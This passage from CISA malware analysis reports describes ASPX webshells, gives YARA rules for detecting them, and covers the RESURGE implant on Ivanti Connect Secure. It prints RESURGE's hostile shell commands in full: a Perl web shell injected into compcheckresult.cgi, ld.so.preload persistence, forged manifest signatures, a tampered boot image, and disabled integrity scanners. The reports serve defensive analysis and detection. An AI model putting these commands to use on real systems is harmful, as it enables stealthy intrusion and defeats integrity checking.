SHA256 675a10e87c248d0f629da864ba8b7fd92b62323c406a69dec35a0e6e1552ecbc
SHA512 83aa141fd090172fb9a22855c18f2aea8b37f663f0093edd675a7499186fe46b3f953edda9477ca8918cf2af82c8b723d07a6912a9d7aa62b26391d15a83c44d
ssdeep 48:H9zBW074shunsBjsm/ITETo1YWOW5uq+Z8QZ+ThJSCyiH12:HJBG2jsmI4lPeWiOo3SCyiV2
Entropy 4.789465
Antivirus

No matches found.

YARA Rules
  • rule CISA_251132_05 : webshell exfiltrates_data fingerprints_host
    {
       meta:
           author = "CISA Code & Media Analysis"
           incident = "251132"
           date = "2025-07-21"
           last_modified = "20250724_721"
           actor = "n/a"
           family = "n/a"
           capabilities = "exfiltrates-data fingerprints-host"
           malware_type = "webshell"
           tool_type = "unknown"
           description = "Detects aspx webshell samples"
           sha256_1 = "675a10e87c248d0f629da864ba8b7fd92b62323c406a69dec35a0e6e1552ecbc"
       strings:
           $s0 = { 43 75 72 72 65 6E 74 2E 52 65 71 75 65 73 74 2E 46 6F 72 6D }
           $s1 = { 20 48 74 74 70 43 6F 6F 6B 69 65 20 6E 65 77 63 6F 6F 6B }
           $s2 = { 6E 65 77 63 6F 6F 6B 2E 45 78 70 69 72 65 73 20 }
           $s3 = { 52 65 73 70 6F 6E 73 65 2E 53 65 74 43 6F 6F 6B 69 65 28 6E 65 77 63 6F 6F 6B 29 }
           $s4 = { 43 6F 6D 70 75 74 65 48 61 73 68 }
           $s5 = { 44 26 46 72 69 32 6B 26 78 35 64 4D 49 53 54 6E 61 46 71 40 }
           $s6 = { 2A 68 75 5E 4D 23 6C 23 4C 72 6C 4E 6F 39 21 37 4B 4C 66 }
           $s7 = { 22 63 6D 22 20 2B 20 22 64 2E 65 22 20 2B 20 22 78 65 22 }
           $s8 = { 57 72 69 74 65 4C 69 6E 65 28 22 65 78 69 74 22 29 }
           $s9 = { 50 61 73 73 77 6F 72 64 }
           $s10 = { 43 6F 6D 6D 61 6E 64 }
           $s11 = { 55 70 6C 6F 61 64 }
           $s12 = { 74 79 70 65 3D 22 66 69 6C 65 22 }
           $s13 = { 74 79 70 65 3D 22 74 65 78 74 22 }
           
       condition:
           all of them
    }
     
SIGMA Rule

No associated rule.

ssdeep Matches

No matches found.

Relationships
675a10e87c... Contained_Within 9340bf7378234db5bca0dc5378bf764b6a24bb87a42b05fa21a996340608fbd7
Description

This artifact is a malicious ASP[.]NET web page (.aspx) that contains ASP[.]NET code embedded within an HTML structure. This file is a webshell installed by "info3.aspx" (9340bf73782....). The file handles various operations based on submitted form data or HTTP cookies. The file contains HTML code used to create forms. The forms allow the Threat Actor (TA) to enter a password and submit it using a "Login" button, enter a command into a text field, which can then be executed by clicking an "Execute" button, and upload files that includes two input fields: one for selecting a file (type="file") and another for text input (type="text") (Figure 7). 

The password form element is configured for POST method and the input field is named "nYOmkVTYH2". If the HTML form with a password is received from the TA via an HTTP POST request, the file checks if the submission form field parameter named "nYOmkVTYH2" is not null or empty. If the parameter is present and not empty, the file sets an HTTP Cookie named "wY1DC6wH4u" with a value from the form field "nYOmkVTYH2" and sets the HTTP Cookie expiration date to four days from the current time. This cookie is then added to the response. The file verifies if the HTTP cookie exists in the current HTTP request. If the cookie exists, its value is concatenated with a long hard-coded string "D&Fri2k&x5dMISTnaFq@ssyKk@rEM!98KzSKWpL4Nc8NvaA9AKdJVOtfdJ45FvbyYHxTql6kkc%qOZevc*hu^M#l#LrlNo9!7KLf". This combined string is then hashed using SHA512. The computed hash is converted to a Base64 string and compared against a predefined Base64 encoded string "9gYs0W/reXzR+KO6J/zP6naMU9AQwZCwhmXuPyGeY2VwMkxNGBZaJQAxGS6GvQZJLSAPk8LT0PgJVU1kQQJd2zW9w==" (Figure 6). This process determines whether a user or request is authorized. 

The command form element is configured for POST method and the input field is named "GTaRkhJ9wz". If the HTML form with a command is received from the TA via an HTTP POST request, the file checks if the submission form field parameter named "GTaRkhJ9wz" is not null or empty. If the parameter is present and not empty, the file creates a new process to execute a command-line utility "cmd.exe". The file redirects standard input, output, and error streams to capture the results of the executed command. The code writes the value of the "GTaRkhJ9wz" form parameter to the process's standard input, executing the value as a command, and then writes "exit" to terminate the process (Figure 6). 

The file upload form element is configured for POST method and "enctype"="multipart/form-data" to handle file uploads. It includes an input type="file" for selecting a file (input field named "0z3H8H8ato") and an input type="text" for providing a destination path or filename ( input field named "7KAjlfecWF"). If the HTML form for file upload is received from the TA, the file checks if the submission form field parameter named "7KAjlfecWF" (intended to be the file path or name) is not null or empty. The file retrieves the uploaded file through the "0z3H8H8atO" input using "HttpContext.Current[.]Request[.]Files["Oz3H8H8ato"]". If the file exists and has content (content length is greater than zero), the file saves the uploaded file using the path provided in the "7KAjlfecWF" field. Upon successful upload, the "InnerText" of an element named "Result" is set to "uploaded", indicating the file has been saved. If an error occurs during the process, the file captures the exception and displays its details in "Result.InnerText" (Figure 6). The file displays server-side generated output or messages to the TA.

Screenshots
MAR-251132.c1.v1.Figure6

Figure 6 - Screenshot of the code snippet designed for handling various web-related operations, including setting and retrieving HTTP cookies, calculating a SHA512 hash of a request form value, starting an external cmd process and capturing its output, handling uploaded files from a request.

MAR-251132.c1.v1.Figure7

Figure 7 - Screenshot of the form that allows the TA to enter a password and submit it using a "Login" button, to enter a command, which can then be executed by clicking an "Execute" button, and a field for uploading files, featuring a file input (type="file") and a text input, both submitted using an "Upload" button.

d9c4dd5a8317d1d83b5cc3482e95602f721d58e3ba624d131a9472f927d33b00

Tags

webshell

Details
Name spinstallb.aspx
Size 676 bytes
Type HTML document, ASCII text, with very long lines, with no line terminators
MD5 7d2f36f4cb82c75b83c210e655649b5d
SHA1 37d1d1913d758f7d71020c08d4a7dae3efe83b68
SHA256 d9c4dd5a8317d1d83b5cc3482e95602f721d58e3ba624d131a9472f927d33b00
SHA512 c52ab55753ae7fcfca46e869b805f3aa2d19c45e7526a61f79b20b8cd38eccc09f1b7a06acbd8d77e936f68fea9ee3bba7b7c42d6f93cf0c27a22cf7555d70d3
ssdeep 12:XrVcins8q/KF2C2DRbqtP6LoGM8AWLaWF1nM9OiDGiOVKeL84GYb:7Vds8q/KF2C2qPWHAW+WF9M9OiDm/b
Entropy 5.466082
Antivirus

No matches found.

YARA Rules
  • rule CISA_251132_06 : webshell fingerprints_host installs_other_components exfiltrates_data

    {
       meta:
           author = "CISA Code & Media Analysis"
           incident = "251132"
           date = "2025-07-21"
           last_modified = "20250725_712"
           actor = "n/a"
           family = "n/a"
           capabilities = "fingerprints-host installs-other-components exfiltrates-data"
           malware_type = "webshell"
           tool_type = "unknown"
           description = "Detects ASPX Webshell samples"
           sha256_1 = "d9c4dd5a8317d1d83b5cc3482e95602f721d58e3ba624d131a9472f927d33b00"
       strings:
           $s0 = { 3D 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B 22 70 22 5D }
           $s1 = { 46 72 6F 6D 42 61 73 65 36 34 53 74 72 69 6E 67 28 65 6E 63 29 }
           $s2 = { 46 69 6C 65 4E 61 6D 65 3D 22 70 6F 77 65 72 73 68 65 6C 6C 2E 65 78 65 }
           $s3 = { 2D 45 6E 63 6F 64 65 64 43 6F 6D 6D 61 6E 64 }
           $s4 = { 2C 55 73 65 53 68 65 6C 6C 45 78 65 63 75 74 65 3D 66 61 6C 73 65 }
           $s5 = { 76 61 72 20 70 6C 3D 6E 65 77 20 62 79 74 65 }
           $s7 = { 36 38 39 30 31 61 33 39 34 61 37 36 64 63 35 30 36 34 66 62 61 39 36 62 38 36 }
           $s8 = { 32 36 36 35 65 65 35 39 36 62 31 61 31 34 36 38 62 64 63 36 }
           $s9 = { 31 38 31 35 37 64 37 63 63 61 30 31 33 30 39 30 32 65 }
       condition:
           all of them
    }
     
SIGMA Rule

No associated rule.

ssdeep Matches

No matches found.

Description

This artifact is a malicious ASPX file with a "Page_Load" event handler that constructs and executes a command using PowerShell on the server (Figure 8). Upon execution, the file takes a Base64-encoded string from a form parameter named "p". The Base64 encoded string is decoded and Exclusively-OR (XOR) decrypted using a hard-coded XOR key "68901a394a76dc5064fba96b862665ee596b1a1468bdc618157d7cca0130902e". The output of the XOR decrypted bytes are converted to a Unicode Transformation Format-8 (UTF-8) string and then Base64 encoded. The Base64 encoded string is passed as an argument to the PowerShell process "powershell.exe" using the "-EncodedCommand flag". The file redirects the standard output of the PowerShell process and reads it into a variable "o", which is then written back to the HTTP response.

Screenshots
MAR-251132.c1.v1.Figure8

Figure 8 - Screenshot of the contents of the ASPX file.

d0c4d6a4be0a65f8ca89e828a3bc810572fff3b3978ff0552a8868c69f83d170

Tags

webshell

Details
Name spinstallp.aspx
Size 706 bytes
Type HTML document, ASCII text, with very long lines, with no line terminators
MD5 7768feda9d79ef6f87410c02e981f066
SHA1 1b8432fcda4c12b64cdf4918adf7880aecf054ec
SHA256 d0c4d6a4be0a65f8ca89e828a3bc810572fff3b3978ff0552a8868c69f83d170
SHA512 c9ee5d32a59fad386570923df7950b562e1d4c000c7f4a20aebc214477f737815a401858a11d4e9139a80152afd5ddc8655ad804e71544e50f5a23cc9888eeba
ssdeep 12:XrVTO6LjxB5QnnsJz3kH+XWLaWF1n5OiD5RKF2UIdiOVKeLxnHdYT:7VTOYZWsJz3+WW+WF95OiDbKF2xP6T
Entropy 5.432916
Antivirus

No matches found.

YARA Rules
  • rule CISA_251132_07 : webshell fingerprints_host installs_other_components exfiltrates_data
    {
       meta:
           author = "CISA Code & Media Analysis"
           incident = "251132"
           date = "2025-07-21"
           last_modified = "20250725_712"
           actor = "n/a"
           family = "n/a"
           capabilities = "fingerprints-host installs-other-components exfiltrates-data"
           malware_type = "webshell"
           tool_type = "unknown"
           description = "Detects ASPX Webshell samples"
           sha256_1 = "d0c4d6a4be0a65f8ca89e828a3bc810572fff3b3978ff0552a8868c69f83d170"
       strings:
           $s0 = { 61 38 35 39 66 30 32 30 38 37 37 37 34 36 32 38 39 39 64 66 36 37 62 33 64 38 31 61 37 62 38 62 }
           $s1 = { 70 6F 77 65 72 73 68 65 6C 6C 2E 65 78 65 }
           $s2 = { 41 72 67 75 6D 65 6E 74 73 3D 22 2D 65 6E 63 20 22 }
           $s3 = { 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B 22 70 22 5D }
           $s4 = { 55 73 65 53 68 65 6C 6C 45 78 65 63 75 74 65 3D 66 61 6C 73 65 }
           $s5 = { 52 65 64 69 72 65 63 74 53 74 61 6E 64 61 72 64 4F 75 74 70 75 74 3D 74 72 75 65 }
           $s6 = { 53 74 61 6E 64 61 72 64 4F 75 74 70 75 74 }
           $s7 = { 52 65 73 70 6F 6E 73 65 2E 57 72 69 74 65 }
           $s8 = { 47 65 74 42 79 74 65 73 28 6F 29 }
       condition:
           all of them
    }
     
SIGMA Rule

No associated rule.

ssdeep Matches

No matches found.

Description

This artifact is a malicious ASPX file with a "Page_Load" event handler that constructs and executes a command using PowerShell on the server (Figure 9). Upon execution, the file constructs a PowerShell command that decodes a Base64 string from the request form parameter "p". The decoded string is decrypted using the XOR function with the hard-coded key "a859f0208777462899df67b3d81a7b8b". The decrypted bytes (command) is executed using a PowerShell command. The standard output of the executed PowerShell command is converted to a UTF-8 string, then encrypted using the XOR function with the same hard-coded key. The encrypted bytes data is Base64 encoded before written to the HTTP response using "Response.Write".

Screenshots
MAR-251132.c1.v1.Figure9

Figure 9 - Screenshot of the contents of the ASPX file.

Relationship Summary

60a37499f9... Contains bee94b93c1796981a55d7bd27a32345a61304a88ed6cd70a5f7a402f1332df72
bee94b93c1... Contained_Within 60a37499f9b02c203af24c2dfd7fdb3834cea707c4c56b410a7e68376938c4b7
9340bf7378... Contains 675a10e87c248d0f629da864ba8b7fd92b62323c406a69dec35a0e6e1552ecbc
675a10e87c... Contained_Within 9340bf7378234db5bca0dc5378bf764b6a24bb87a42b05fa21a996340608fbd7

Recommendations

CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization's systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

  • Maintain up-to-date antivirus signatures and engines.
  • Keep operating system patches up-to-date.
  • Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
  • Restrict users' ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
  • Enforce a strong password policy and implement regular password changes.
  • Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
  • Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
  • Disable unnecessary services on agency workstations and servers.
  • Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its "true file type" (i.e., the extension matches the file header).
  • Monitor users' web browsing habits; restrict access to sites with unfavorable content.
  • Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
  • Scan all software downloaded from the Internet prior to executing.
  • Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, "Guide to Malware Incident Prevention & Handling for Desktops and Laptops".

Contact Information

CISA continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at the following URL: https://www.cisa.gov/forms/feedback

Document FAQ

What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual reverse engineering. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the CISA at 1-888-282-0870 or CISA Service Desk.

Can I submit malware to CISA? Malware samples can be submitted via the methods below:

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on CISA's homepage at www.cisa.gov.

↗️

MAR-25993211-r1.v1 Ivanti Connect Secure (RESURGE)

✇CISA Analysis Reports
Por:CISA

Notification

This report is provided "as is" for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise.

This document is marked TLP:CLEAR--Recipients may share this information without restriction. Sources may use TLP:CLEAR when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:CLEAR information may be shared without restriction. For more information on the Traffic Light Protocol (TLP), see http://www.cisa.gov/tlp.

Summary

Description

CISA analyzed three files obtained from a critical infrastructure’s Ivanti Connect Secure device after threat actors exploited Ivanti CVE-2025-0282 for initial access. One file—that CISA is calling RESURGE—has functionality similar to SPAWNCHIMERA in how it creates a Secure Shell (SSH) tunnel for command and control (C2). RESURGE also contains a series of commands that can modify files, manipulate integrity checks, and create a web shell that is copied to the running Ivanti boot disk. 

The second file is a variant of SPAWNSLOTH, that was contained within the RESURGE sample. The file tampers with the Ivanti device logs. The third file is a custom embedded binary that contains an open-source shell script and a subset of applets from the open-source tool BusyBox. The open-source shell script allows for ability to extract an uncompressed kernel image (vmlinux) from a compromised kernel image. BusyBox enables threat actors to perform various functions such as download and execute payloads on compromised devices. 

For information on CVE-2025-0282, see CISA Alert CISA Releases Malware Analysis Report on RESURGE Malware Associated with Ivanti Connect Secure.

Download the PDF version of this report:

For a downloadable copy of IOCs associated with this MAR, see:

AR25-087A STIX JSON (JSON, 52.23 KB )
 
Submitted Files (2)

52bbc44eb451cb5e16bf98bc5b1823d2f47a18d71f14543b460395a1c1b1aeda (libdsupgrade.so)
b1221000f43734436ec8022caaa34b133f4581ca3ae8eccd8d57ea62573f301d (dsmain)

Additional Files (1)

3526af9189533470bc0e90d54bafb0db7bda784be82a372ce112e361f7c7b104 (liblogblock.so)

Findings

52bbc44eb451cb5e16bf98bc5b1823d2f47a18d71f14543b460395a1c1b1aeda
Tags

backdoor dropper rootkit

Details
Name libdsupgrade.so
Size 1414480 bytes
Type ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.16, stripped
MD5 cfb263a731d51ff489168bbca0d3bd2f
SHA1 87bcbbcb878aeee6ad4463464745770e95c6a937
SHA256 52bbc44eb451cb5e16bf98bc5b1823d2f47a18d71f14543b460395a1c1b1aeda
SHA512 3d12fdb707c188eb2e94cbf2dd42a50cfe343128652bab9245a54b887e35bc32c6a88c8faa5001a045df3991b387fcd6a27719ecbf84f6ce893163b040c2e0dd
ssdeep 24576:h6j7Ed+iowSCstJtmOKSbqUmtzYxs7X0ToN8fp/AQClBka:h4wSC0JtmpntzYMU2
Entropy 6.171523
Antivirus
ESET a variant of Linux/SpawnSnail.A trojan
YARA Rules
  • rule CISA_25993211_01 : RESURGE backdoor dropper rootkit bootkit 
    {
    meta:
        author = "CISA Code & Media Analysis"
        incident = "25993211"
        date = "2025-03-03"
        last_modified = "20250303_1446"
        actor = "n/a"
        family = "SPAWN"
        capabilities = "n/a"
        malware_type = "backdoor dropper rootkit bootkit"
        tool_type = "unknown"
        description = "Detects RESURGE malware samples"
        sha256_1 = "52bbc44eb451cb5e16bf98bc5b1823d2f47a18d71f14543b460395a1c1b1aeda"
    strings:
        $s1 = "snprintf"
        $s2 = "CGI::param"
        $s3 = "coreboot.img" 
        $s4 = "scanner.py" 
        $s5 = { 6C 6F 67 73 }
        $s6 = "accept"
        $s7 = "strncpy"
        $s8 = "dsmdm" 
        $s9 = "funchook_create" 
        $s10 = { 20 83 B8 ED }
    condition:
        all of them
    }
     
ssdeep Matches

No matches found.

Relationships
52bbc44eb4... Contains 3526af9189533470bc0e90d54bafb0db7bda784be82a372ce112e361f7c7b104
Description

The file 'libdsupgrade.so' is a malicious 32-bit Linux Shared Object file that was extracted from an Ivanti Connect Secure device version 22.7.4.30859. The file contains capabilities of a rootkit, dropper, backdoor, bootkit, proxy, and tunneler. The file shares similar functionality to SPAWNCHIMERA malware however, this file contains a series of commands that modify files, manipulates integrity checks, and creates a web shell that is copied to the running Ivanti boot disk. CISA is calling this variant RESURGE. 

The similarities to SPAWNCHIMERA are as follows. RESURGE checks if the file is loaded by a program called 'web' or 'dsmdm' (Figure 1). 

If the 'web' program is called, it hooks accept and strncpy. It contains an embedded private key, which is Exclusive Or (XOR) encrypted, so the Threat Actor (TA) can connect to it with their public key. This proxy does not use encryption, it uses the decoding function (Figure 2). It uses tunneling to look for an Internet Protocol (IP) and data and decodes the data received which will then be funneled through the proxy. The hooked strncpy is modified to limit the copied data to 256 bytes. This is achieved by checking the web program is running within a specified address range, the bytes are not larger than 256, and the bytes do not begin with a specific byte pattern (Figure 3). The TA connects to the tunneler, which can also communicate with the file 'me/runtime/tmp/.logsrv'. When it receives traffic it will funnel to the file, where the TA can then communicate with the system via a secure shell. 

If the 'dsmdm' program is called, it creates a thread for a secure shell via SSH to the system. It doesn't bind to a port but rather binds to a file called 'me/runtime/tmp/.logsrv' and listens for connections, giving the TA a secure socket shell to the system (Figure 4). In order for the TA to access the shell, they need to access the file. Another thread is also created to drop the file 'liblogblock.so' to the '/tmp' directory. It creates a handle to the 'proc' folder, enumerating through it looking for the 'dslogserver' process. It interacts with 'dslogserver' through shared memory to read from or write to the memory it is using. It checks whether the dslogserver is up. If not, it sleeps for 10 seconds and then checks again. This behavior continues in a loop until the server is detected, at which time it will try to load a shared object file called '/tmp/.liblogblock.so' (Figure 5). 

RESURGE contains a series of commands that have been broken down and perform the following functionality: 

Commands 1: Inserts itself into 'ld.so.preload', sets up a web shell for remote command execution within the 'compcheckresult.cgi' file, fakes integrity checks, and generates keys against the modified files to sign the manifest file so they appear legitimate (Figure 6). 

Commands 2: Decrypts, modifies, and re-encrypts coreboot Random Access Memory (RAM) disk (Figure 7). 

Commands 3: Uses system() to execute several sed commands. These commands modify the contents of two Python files ('scanner.py' and 'scanner_legacy.py') by searching for particular lines and replacing them with new one which, if successful, will result in the scanning scripts no longer keeping track of mismatches or new files (Figure 8). 

---Begin Commands 1--- 
/bin/sed -i '/echo_console \"Saving package\"/i 
   -Searches for the string echo_console "Saving package" and enters the following commands before it: 

cp /lib/%s /tmp/data/root/lib 
   -Copies itself to '/tmp/data/root/lib'. 
    
cp /home/venv3/lib/python3.6/site-packages/scanner-0.1-py3.6.egg /tmp/data/root/home/venv3/lib/python3.6/site-packages/scanner-0.1- py3.6.egg 
   -Copies a Python package 'scanner-0.1-py3.6.egg' to /tmp/data/root/home/venv3/lib/.... 

echo "/lib/%s "`/home/bin/openssl dgst -sha256 /lib/%s|cut -d " "-f 2` b\" >> /tmp/data/root/home/etc/manifest/manifest 
   -Calculates a SHA-256 hash for itself using openssl dgst. The result is appended to the 'manifest' file. 
    
sed -i "1i/lib/%s" /tmp/data/root/etc/ld.so.preload 
   -This inserts itself to the beginning of the 'ld.so.preload' file. 
    
touch /tmp/data/root/etc/ld.so.preload 
   -Updates the timestamp of the 'ld.so.preload' file. 
    
sed -i "/ENV{\"DSINSTALL_CLEAN\"} = $clean;/a \\$ENV{\"LD_PRELOAD\"} = \"%s\";" /tmp/data/root/home/perl/DSUpgrade.pm 
   -Adds a new line after the pattern ENV{"DSINSTALL_CLEAN"} = $clean; in the 'DSUpgrade.pm' file. Then sets the environment variable LD_PRELOAD to %s ensuring the library is preloaded when the script is run. 
    
sed -i "/popen(*FH, \$prog);/a \\$ENV{\"LD_PRELOAD\"} = \"\";" /tmp/data/root/home/perl/DSUpgrade.pm 
   -Searches for the string "/popen(*FH, \$prog);/" in the 'DSUpgrade.pm' file and then adds the line $ENV{"LD_PRELOAD"} = ""; after popen(...);. It clears the 'LD_PRELOAD' environment variable of all preloaded libraries after the 'DSUpgrade.pm' file executes. 
    
sed -i "s/DSUpgrade.pm \w{64}/DSUpgrade.pm `/home/bin/openssl dgst -sha256 /tmp/data/root/home/perl/DSUpgrade.pm | cut -d \" \" -f 2` \" /tmp/data/root/home/etc/manifest/manifest 
   -Searches for the SHA-256 checksum for 'DSUpgrade.pm' in the 'manifest' file. It uses openssl dgst to calculate the hash of DSUpgrade.pm and replaces the old value with this hash. 
    
sed -i "/main();/I if(CGI::param(\"vXm8DtMJG\")){\n\\ print \"Cache-Control: no-cache\\n\"; \n\\ print \"Content-type: text/html\\n\\\n\"; \n\\ my \$a=CGI::param(\"vXm8DtMJG\");\n\\ system(\"$a\");\n}" /tmp/data/root/home/webserver/htdocs/dana-na/auth/compcheckresult.cgi 
   -This inserts Perl code before the main(); function in the file 'compcheckresult.cgi'. It checks for the parameter "vXm8DtMJG" and, if it exists, runs a command provided by the attacker through the web server 
    
sed -i "s/compcheckresult.cgi \w{64}/compcheckresult.cgi `/home/bin/openssl dgst -sha256 "/tmp/data/root/home/webserver/htdocs/dana-na/auth/compcheckresult.cgi | cut -d \" \" -f 2` \" /tmp/data/root/home/etc/manifest/manifest 
   -Similar to the earlier command, it replaces the old 'compcheckresult.cgi' with the new SHA-256 hash inside the 'manifest' file. 
    
sed -i "s/exit 1/exit 0/g\" /tmp/data/root/home/bin/check_integrity.sh 
   -This command replaces all instances of exit 1 with exit 0 in 'check_integrity.sh'. This ensures that the script does not exit with an error. 

sed -i \"s/check_integrity.sh \w{64}/check_integrity.sh `/home/bin/openssl dgst -sha256 /tmp/data/root/home/bin/check_integrity.sh | cut -d \" \" -f 2`/\" /tmp/data/root/home/etc/manifest/manifest 
   -Similar to the earlier command, it replaces the old 'check_integrity.sh' with the new SHA-256 hash inside the 'manifest' file. 
    
/home/bin/openssl genrsa -out private.pem 2048 
   -This generates a 2048-bit RSA private key and saves it in 'private.pem'. 
    
/home/bin/openssl rsa -in private.pem -out manifest.2 -outform PEM -pubout 
   -This command extracts the public key from the 'private.pem' file and saves it as 'manifest.2'. 
    
/home/bin/openssl dgst -sha512 -sign private.pem -out manifest.1 /tmp/data/root/home/etc/manifest/manifest 
   -This signs the manifest file using the private key generating a SHA-512 signature and saving it as 'manifest.1'. 
    
mv manifest.1 manifest.2 /tmp/data/root/home/etc/manifest/ 
   -Moves the signed manifest files (manifest.1 and manifest.2) into the '/tmp/data/root/home/etc/manifest/' directory 
    
rm -f private.pem' ./do-install"; 
   -Deletes the private key file and finally executes the script 'do-install'. 
---End Commands 1--- 
------------------------------------------------------------------------------------------ 
---Begin Commands 2--- 
sed -i '/\\/bin\\/cp \\/tmp\\/data\\/root\\/\\${kerndir}\\/coreboot.img \\/tmp\\/data\\/boot\\//i\\\n" 
   Modifies `/tmp/installer/do-install-coreboot by adding the following commands before the line "/bin/cp /tmp/data/root/${kerndir}/coreboot.img /tmp/data/boot/" 
    
/bin/mkdir /tmp/new_img 
   Create a new directory '/tmp/new_img'. 
    
/bin/dsmain -g 
   Execute dsmain with the -g argument 
    
/bin/sh /tmp/extract_vmlinux.sh /tmp/data/root/${kerndir}/bzImage > /tmp/new_img/vmlinux" 
   Executes a shell script 'extract_vmlinux.sh' against 'bzImage' and saves the output to '/tmp/new_img/vmlinux'. 
    
/bin/rm /tmp/extract_vmlinux.sh 
   Deletes 'extract_vmlinux.sh'. 
    
output=$(/bin/dsmain strings -t x /tmp/new_img/vmlinux | grep \"Linux version \") 
   Declares the variable $output. Searches for the string 'Linux Version' inside the 'vmlinux' file while preserving its hex offsets and saves the memory address of the string to $output. 
    
offset=\"0x\"$(echo $output | awk '\"'\"'{print $1}'\"'\"') 
   Declares the $offset variable. Extracts the hex offset from $output and prefixes it with 0x. 
    
offset=$((offset + 0xc0)) 
   Adds 0xc0 hex (192 decimal) to the offset current value and saves it in $offset. 
    
key=$(/bin/dsmain xxd -s \"$offset\" -l 16 -p /tmp/new_img/vmlinux) 
   Declares the $key variable. It reads 16 bytes from $offset using 'xxd'. These 16 bytes are then stored as hex in the $key. 
    
/bin/dsmain -d /tmp/data/root/${kerndir}/coreboot.img /tmp/new_img/coreboot.img.1.gz $key 
   Executes dsmain with the -d argument to decrypt 'coreboot.img' using the extracted $key and stores the output as 'coreboot.img.1.gz' 
    
/bin/mkdir /tmp/coreboot_fs 
   Makes a new directory '/tmp/coreboot_fs'. 
    
/bin/dsmain gunzip /tmp/new_img/coreboot.img.1.gz -c > /tmp/coreboot_fs/coreboot.img.1 
   Executes dsmain to decompress 'coreboot.img.1.gz' into 'coreboot.img.1' within the new directory. 
    
cd /tmp/coreboot_fs 
   Changes into the '/tmp/coreboot_fs' directory. 
    
/bin/dsmain cpio -idvm < coreboot.img.1 
   Executes dsmain with cpio -idvm to extract the compressed 'coreboot.img.1'. 
    
/bin/rm coreboot.img.1 
   Deletes 'coreboot.img.1'. 
    
cp /bin/dsmain /tmp/coreboot_fs/bin/dsmain 
   Copies dsmain into the 'coreboot_fs' directory. 
    
cp /lib/%s /tmp/coreboot_fs/lib/%s 
   Copies itself into the 'coreboot_fs' directory. 
    
cp /home/venv3/lib/python3.6/site-packages/scanner-0.1-py3.6.egg /tmp/coreboot_fs/bin/scanner-0.1-py3.6.egg 
   Copies the python package 'scanner-0.1-py3.6.egg' into the 'coreboot_fs' directory. 
    
/bin/sed -i rollback_on_error $? "Extracting Package" 
   Modifies the boot process by adding the below commands to the file '/tmp/coreboot_fs/bin/init' below the line 'rollback_on_error $? "Extracting Package". 
    
/bin/dsmain touch /etc/ld.so.preload 
   Execute dsmain with touch '/etc/ld.so.preload' to update the access and modified time to the current time. 
    
/bin/dsmain sed -I "1i/lib/%s" /home/root/etc/ld.so.preload 
   Adds itself to the top of 'ld.so.preload'. 
    
/bin/cp /bin/dsmain /home/root/bin/dsmain 
   Copy dsmain into the 'root/bin' directory. 
    
/bin/cp /bin/scanner-0.1-py3.6.egg /home/root/home/venv3/lib/python3.6/site-packages/scanner-0.1-py3.6.egg 
   Copy 'scanner-0.1-py3.6.egg' into a 'root' directory. 
    
/bin/cp /lib/%s /home/root/lib/%s 
   Copy itself into the 'root/lib' directory. 
    
"\" /tmp/coreboot_fs/bin/init 
   The boot process files being modified with the above commands. 
    
/bin/dsmain find . -print | /bin/dsmain cpio -o -H newc > /tmp/coreboot_fs/coreboot.img.1 
   Execute dsmain to repackage the modified 'coreboot.img'. 
    
/bin/dsmain gzip /tmp/coreboot_fs/coreboot.img.1 
   Execute dsmain to compress the modified 'coreboot.img'. 
    
/bin/dsmain -e /tmp/coreboot_fs/coreboot.img.1.gz /tmp/data/root/${kerndir}/coreboot.img $key 
   Execute dsmain to encrypt the modified 'coreboot.img'. 
    
rm -rf /tmp/coreboot_fs' 
   Delete the '/tmp/coreboot_fs' directory. 

/tmp/installer/do-install-coreboot 
   The file being modified with the commands. 
---End Commands 2--- 
------------------------------------------------------------------------------------------ 
---Begin Commands 3--- 
system("sed -i 's/mismatchCount += 1/pass/g' scripts/scanner.py"); 
   Replace the 'mismatchCount += 1' with 'pass' in 'scanner.py'. 
    
system("sed -i 's/mismatchedFiles.append(file)/ /g' scripts/scanner.py"); 
   Replace the 'mismatchedFiles.append(file)' with a blank space in 'scanner.py'. 
    
system("sed -i 's/newFilesCount += 1/pass/g' scripts/scanner.py"); 
   Replace 'newFilesCount += 1' with 'pass' in 'scanner.py'. 
    
system("sed -i 's/newFilesDetected.append(file)/ /g' scripts/scanner.py"); 
   Replace 'newFilesDetected.append(file)' with a blank space in 'scanner.py'. 
    
system("sed -i 's/mismatchCount += 1/pass/g' scripts/scanner_legacy.py"); 
   Replace the 'mismatchCount += 1' with 'pass' in 'scanner_legacy.py'. 
    
system("sed -i 's/mismatchedFiles.append(file)/ /g' scripts/scanner_legacy.py"); 
   Replace the 'mismatchedFiles.append(file)' with a blank space in 'scanner_legacy.py'. 
    
system("sed -i 's/newFilesCount += 1/pass/g' scripts/scanner_legacy.py"); 
   Replace 'newFilesCount += 1' with 'pass' in 'scanner_legacy.py'. 
    
system("sed -i 's/newFilesDetected.append(file)/ /g' scripts/scanner_legacy.py"); 
